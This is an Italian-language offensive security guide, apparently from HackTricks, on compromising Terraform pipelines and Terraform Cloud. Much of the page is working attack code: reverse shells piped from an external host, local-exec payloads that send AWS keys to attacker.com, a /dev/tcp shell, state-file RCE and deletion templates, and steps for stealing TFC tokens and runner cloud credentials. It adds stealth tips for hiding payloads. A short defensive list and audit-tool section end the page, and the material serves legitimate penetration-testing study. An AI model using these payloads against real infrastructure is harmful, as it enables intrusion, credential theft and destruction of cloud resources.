# Sicurezza di Terraform

{{#include ../banners/hacktricks-training.md}}

## Informazioni di base

[From the docs:](https://developer.hashicorp.com/terraform/intro)

HashiCorp Terraform è uno strumento **infrastructure as code** che permette di definire sia **risorse cloud che on-prem** in file di configurazione leggibili dall'uomo che puoi versionare, riusare e condividere. Puoi quindi usare un flusso di lavoro coerente per provisioning e gestione di tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come compute, storage e networking, così come componenti ad alto livello come voci DNS e feature SaaS.

#### Come funziona Terraform?

Terraform crea e gestisce risorse su piattaforme cloud e altri servizi tramite le loro application programming interfaces (APIs). I provider permettono a Terraform di interagire con virtualmente qualsiasi piattaforma o servizio con un'API accessibile.

![](<../images/image (177).png>)

HashiCorp e la community di Terraform hanno già scritto **più di 1700 provider** per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider pubblici su [Terraform Registry](https://registry.terraform.io/), inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, e molti altri.

Il workflow principale di Terraform consiste di tre fasi:

- **Write:** Definisci le risorse, che possono essere distribuite su più cloud provider e servizi. Per esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una Virtual Private Cloud (VPC) con gruppi di sicurezza e un load balancer.
- **Plan:** Terraform crea un piano di esecuzione che descrive l'infrastruttura che creerà, aggiornerà o distruggerà basandosi sull'infrastruttura esistente e sulla tua configurazione.
- **Apply:** Dopo l'approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando le dipendenze delle risorse. Per esempio, se aggiorni le proprietà di una VPC e cambi il numero di macchine virtuali in quella VPC, Terraform ricreerà la VPC prima di scalare le macchine virtuali.

![](<../images/image (215).png>)

### Laboratorio Terraform

Basta installare terraform sul tuo computer.

Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).

## RCE in Terraform: avvelenamento dei file di configurazione

Terraform **non espone una piattaforma con una pagina web o un servizio di rete** che possiamo enumerare, quindi l'unico modo per compromettere terraform è **poter aggiungere/modificare i file di configurazione di terraform** o **poter modificare il terraform state file** (vedi capitolo sotto).

Tuttavia, terraform è un componente **molto sensibile** da compromettere perché avrà **accesso privilegiato** a diverse posizioni per poter funzionare correttamente.

Il modo principale per un attaccante di compromettere il sistema dove terraform è in esecuzione è **compromettere il repository che memorizza le configurazioni terraform**, perché a un certo punto verranno **interpretate**.

In effetti, esistono soluzioni che **eseguono terraform plan/apply automaticamente dopo la creazione di una PR**, come **Atlantis**:

{{#ref}}
atlantis-security.md
{{#endref}}

Se riesci a compromettere un file terraform ci sono diversi modi per eseguire RCE quando qualcuno esegue `terraform plan` o `terraform apply`.

### Terraform plan

Terraform plan è il comando **più usato** in terraform e sviluppatori/soluzioni che usano terraform lo chiamano continuamente, quindi il **modo più semplice per ottenere RCE** è assicurarsi di avvelenare un file di configurazione terraform in modo che esegua comandi arbitrari in un `terraform plan`.

### Usare l'external provider

Terraform offre il provider [`external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciare Terraform e programmi esterni. Puoi usare la data source `external` per eseguire codice arbitrario durante un `plan`.

Inserire in un file di configurazione terraform qualcosa come il seguente eseguirà una rev shell quando viene eseguito `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Uso di un provider personalizzato**

Un attaccante potrebbe pubblicare un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) nel [Terraform Registry](https://registry.terraform.io/) e poi aggiungerlo al codice Terraform in un feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}
```
Il provider viene scaricato in `init` e eseguirà il codice dannoso quando `plan` viene eseguito

Puoi trovare un esempio in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)

**Usare un riferimento esterno**

Entrambe le opzioni menzionate sono utili ma non molto stealthy (la seconda è più stealthy ma più complessa della prima). Puoi eseguire questo attacco in un modo ancora più **stealthy**, seguendo questi suggerimenti:

- Invece di aggiungere la rev shell direttamente nel file terraform, puoi **caricare una risorsa esterna** che contiene la rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Puoi trovare il rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)

- Nella risorsa esterna, usa la feature **ref** per nascondere il **terraform rev shell code in a branch** all'interno del repo, qualcosa del tipo: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`

### Terraform Apply

Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Devi solo assicurarti che qualche payload come i seguenti finisca nel file `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Segui i **suggerimenti della tecnica precedente** per eseguire questo attacco in modo **più stealth sfruttando riferimenti esterni**.

## Secrets Dumps

Puoi ottenere il dump dei **secret values usati da terraform** eseguendo `terraform apply` aggiungendo al file terraform qualcosa del tipo:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
## Abuso dei file di stato di Terraform

Nel caso tu abbia accesso in scrittura ai terraform state files ma non possa modificare il codice terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, usare il vettore dei file di stato è spesso molto più furtivo, poiché non lasci tracce nella history di `git`.

### RCE in Terraform: config file poisoning

È possibile [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e semplicemente sostituire uno dei provider nel terraform state file con quello malevolo oppure aggiungere una fake resource che fa riferimento al provider malevolo.

Il provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) si basa sulla ricerca e arma questo principio. Puoi aggiungere una fake resource e specificare il comando bash arbitrario che vuoi eseguire nell'attributo `command`. Quando il run di `terraform` viene avviato, questo verrà letto ed eseguito sia durante i passaggi di `terraform plan` che di `terraform apply`. Nel caso di `terraform apply`, `terraform` rimuoverà la fake resource dallo state file dopo aver eseguito il tuo comando, ripulendo le tracce. Maggiori informazioni e una demo completa si trovano nel [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).

Per usarlo direttamente, basta includere quanto segue in qualsiasi posizione dell'array `resources` e personalizzare gli attributi `name` e `command`:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Quindi, non appena `terraform` viene eseguito, il tuo codice verrà eseguito.

### Eliminazione delle risorse <a href="#deleting-resources" id="deleting-resources"></a>

Ci sono 2 modi per distruggere le risorse:

1. **Inserire una risorsa con un nome casuale nel file di stato che punti alla risorsa reale da distruggere**

Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della risorsa reale indicato). Esempio dalla pagina precedente:
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **Modificare la risorsa in modo che non sia possibile aggiornarla (quindi verrà eliminata e ricreata)**

Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per fare in modo che terraform la cancelli e la ricrei.

### Sostituire un provider inserito nella blacklist

Nel caso in cui ti trovi nella situazione in cui `hashicorp/external` è stato inserito nella blacklist, puoi re-implementare il provider `external` eseguendo quanto segue. Nota: utilizziamo un fork del provider `external` pubblicato su https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o una tua re-implementazione.
```terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}
```
Quindi puoi usare `external` come al solito.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE and credential exfiltration

This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.

- Preconditions:
- Rubare un Terraform Cloud token da una macchina di uno sviluppatore. Il CLI memorizza i token in chiaro in `~/.terraform.d/credentials.tfrc.json`.
- Il token deve avere accesso all'organizzazione/workspace target e almeno il permesso `plan`. VCS-backed workspaces bloccano `apply` dalla CLI, ma consentono comunque speculative plans.

- Scopri workspace e impostazioni VCS tramite la TFC API:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Avviare l'esecuzione di codice durante un speculative plan utilizzando l'external data source e il blocco "cloud" di Terraform Cloud per prendere di mira il VCS-backed workspace:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
Esempio di rsync.sh per ottenere una reverse shell sul TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Esegui un piano speculativo per avviare il programma sul runner effimero:
```bash
terraform init
terraform plan
```
- Enumerare ed esfiltrare credenziali cloud iniettate dal runner. Durante le esecuzioni, TFC inietta le credenziali dei provider tramite file e variabili d'ambiente:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
File previsti nella directory di lavoro del runner:
- GCP:
- `tfc-google-application-credentials` (config JSON per Workload Identity Federation)
- `tfc-gcp-token` (token di accesso GCP a breve durata)
- AWS:
- `tfc-aws-shared-config` (config per assunzione del ruolo web identity/OIDC)
- `tfc-aws-token` (token a breve durata; alcune organizzazioni potrebbero usare chiavi statiche)

- Usa le credenziali a breve durata out-of-band per bypassare i gate VCS:

GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Con queste credenziali, gli attaccanti possono creare/modificare/distruggere risorse direttamente usando i CLI nativi, aggirando i workflow basati su PR che bloccano `apply` via VCS.

- Linee guida difensive:
- Applicare il principio del minimo privilegio agli utenti/team TFC e ai token. Verificare le membership ed evitare owner sovradimensionati.
- Restringere la permission `plan` sui workspaces sensibili collegati a VCS, quando possibile.
- Applicare allowlist di provider/data source tramite policy Sentinel per bloccare `data "external"` o provider sconosciuti. See HashiCorp guidance on provider filtering.
- Preferire OIDC/WIF alle credenziali cloud statiche; considerare i runners come risorse sensibili. Monitorare run speculativi dei plan e egress inatteso.
- Rilevare l'exfiltrazione di artifact di credenziali `tfc-*` e allertare su uso sospetto del programma `external` durante i plan.


## Compromettere Terraform Cloud

### Usare un token

As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope.

Usando questo token è possibile ottenere l'org/workspace con:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
È quindi possibile eseguire codice arbitrario usando **`terraform plan`** come spiegato nel capitolo precedente.

### Evasione verso il cloud

Quindi, se il runner si trova in un ambiente cloud, è possibile ottenere un token del principal associato al runner e usarlo out of band.

- **GCP files (presenti nella working directory dell'esecuzione corrente)**
- `tfc-google-application-credentials` — JSON config per Workload Identity Federation (WIF) che indica a Google come scambiare l'identità esterna.
- `tfc-gcp-token` — token di accesso GCP a breve durata (≈1 ora) referenziato da quanto sopra

- **File AWS**
- `tfc-aws-shared-config` — JSON per web identity federation / assunzione di ruolo OIDC (preferito rispetto a chiavi statiche).
- `tfc-aws-token` — token a breve durata, o potenzialmente chiavi IAM statiche se mal configurate.


## Strumenti di audit automatico

### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)

Snyk offre una soluzione di scanning completa per Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC.

- **Funzionalità:**
- Scansione in tempo reale per vulnerabilità di sicurezza e problemi di compliance.
- Integrazione con sistemi di controllo di versione (GitHub, GitLab, Bitbucket).
- Pull request con fix automatici.
- Consigli dettagliati per la risoluzione.
- **Iscriviti:** Crea un account su [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>

**Checkov** è uno strumento di static code analysis per infrastructure as code (IaC) e anche uno strumento di software composition analysis (SCA) per immagini e pacchetti open source.

Scansiona l'infrastruttura cloud provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) e rileva misconfigurazioni di security e compliance tramite graph-based scanning.

Esegue [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), ovvero una scansione di pacchetti open source e immagini alla ricerca di Common Vulnerabilities and Exposures (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)

Dalla [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero focalizzato su sicurezza e conformità per terraform, che abilita la capacità di eseguire test negativi per la tua infrastruttura come codice.

- **conformità:** Assicura che il codice implementato segua gli standard di sicurezza e i tuoi standard personalizzati
- **sviluppo guidato dal comportamento:** Abbiamo BDD per quasi tutto, perché non per IaC?
- **portabile:** basta installarlo con `pip` o eseguirlo tramite `docker`. Vedi [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** valida il tuo codice prima che venga distribuito
- **facile da integrare:** può essere eseguito nella tua pipeline (o nei git hooks) per assicurare che tutte le distribuzioni siano convalidate.
- **separazione dei compiti:** puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile.

> [!NOTE]
> Sfortunatamente, se il codice usa provider a cui non hai accesso, non potrai eseguire il `terraform plan` e utilizzare questo strumento.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)

From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni.

- ☁️ Controlla la presenza di misconfigurazioni in tutti i principali (e alcuni minori) provider cloud
- ⛔ Centinaia di regole integrate
- 🪆 Scansiona moduli (locali e remoti)
- ➕ Valuta espressioni HCL così come valori letterali
- ↪️ Valuta le funzioni Terraform e.g. `concat()`
- 🔗 Valuta le relazioni tra le risorse Terraform
- 🧰 Compatibile con il Terraform CDK
- 🙅 Applica (e arricchisce) policy Rego definite dall'utente
- 📃 Supporta più formati di output: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurabile (tramite flag CLI e/o file di config)
- ⚡ Molto veloce, in grado di scansionare rapidamente repository molto grandi
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)

Terrascan è un analizzatore statico di codice per Infrastructure as Code. Terrascan consente di:

- Scansionare senza interruzioni l'Infrastructure as Code per individuare misconfigurazioni.
- Monitorare l'infrastruttura cloud provisioned per cambiamenti di configurazione che introducono posture drift e consentire il ripristino a una postura sicura.
- Rilevare vulnerabilità di sicurezza e violazioni della conformità.
- Mitigare i rischi prima del provisioning dell'infrastruttura cloud-native.
- Offre la flessibilità di eseguirlo localmente o integrarlo con il tuo CI\CD.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)

Individua vulnerabilità di sicurezza, problemi di compliance e misconfigurazioni dell'infrastruttura nelle prime fasi del ciclo di sviluppo della tua infrastructure-as-code con **KICS** di Checkmarx.

**KICS** sta per **K**eeping **I**nfrastructure as **C**ode **S**ecure, è open source ed è uno strumento indispensabile per qualsiasi progetto cloud native.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)

Dai [**docs**](https://github.com/tenable/terrascan): Terrascan è un analizzatore statico del codice per Infrastructure as Code. Terrascan consente di:

- Scansionare in modo trasparente l'infrastruttura come codice per individuare misconfigurazioni.
- Monitorare l'infrastruttura cloud provisioned per cambiamenti di configurazione che introducono posture drift e permettere il ripristino a una postura sicura.
- Rilevare vulnerabilità di sicurezza e violazioni della compliance.
- Mitigare i rischi prima del provisioning di infrastrutture cloud native.
- Offrire flessibilità per l'esecuzione locale o l'integrazione con il tuo CI\CD.
```bash
brew install terrascan
```
## Riferimenti

- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Permessi di Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [Configurazione del provider AWS](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI – Assunzione del ruolo OIDC](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider – Usare Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform – Variabili sensibili](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs – Gitflops: i pericoli delle piattaforme di automazione Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)

{{#include ../banners/hacktricks-training.md}}
